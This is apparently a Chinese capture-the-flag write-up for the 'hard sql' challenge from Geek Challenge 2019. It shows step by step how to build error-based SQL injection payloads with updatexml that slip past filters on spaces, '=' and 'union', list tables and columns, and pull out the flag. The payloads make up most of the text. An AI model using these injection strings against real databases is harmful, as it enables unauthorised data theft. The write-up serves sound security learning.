您的当前位置:首页正文

[极客大挑战2019] hard sql

2025-01-09 来源:个人技术集锦

经过开始的测试,输入1'报错,输入1' or 1=1#没用,输入1'or'显示密码错误,可以发现空格被过滤

进一步测试发现and,union也被过滤,于是想到用报错注入

则考虑用()绕过空格过滤,构造payload:

1'or(updatexml(1,concat(0x7e,database(),0x7e),0))#

可以得到数据库名:geek

第二部构造payload:

1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema='geek')),0x7e),0))#

发现可能=被过滤,则用like绕过

1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),0))#

得到表名:H4rDsq1

进一步构造payload获取列:

1'or(updatexml(1,concat(0x7e,(select(column_name)from(information_schema.columns)where(table_name)like('H4rDsq1')limit(0,1)),0x7e),0))#

但发现不行

修改payload:

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),0))#

得到字段id,username,password

接着构造payload:

1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))),0x7e),0)#

得到一半的答案:

flag{15afeb9d-bcad-4c93-8bf9-b2

right函数为返回最右边的len个字符的字符串str

eg:SELECT RIGHT('foobarbar', 4)

结果:rbar

用right从右边截取,多截取一点:

1'or(updatexml(1,concat(0x7e,(select(right(password,20))from(H4rDsq1)),0x7e),0))#

得到:3-8bf9-b269c0ffde49}

去掉重复部分得到答案:flag{15afeb9d-bcad-4c93-8bf9-b269c0ffde49}

 

也可以用length函数得到password的长度:

1'or(updatexml(1,concat(0x7e,(select(length(password))from(H4rDsq1)),0x7e),0))#

然后用right函数截取

显示全文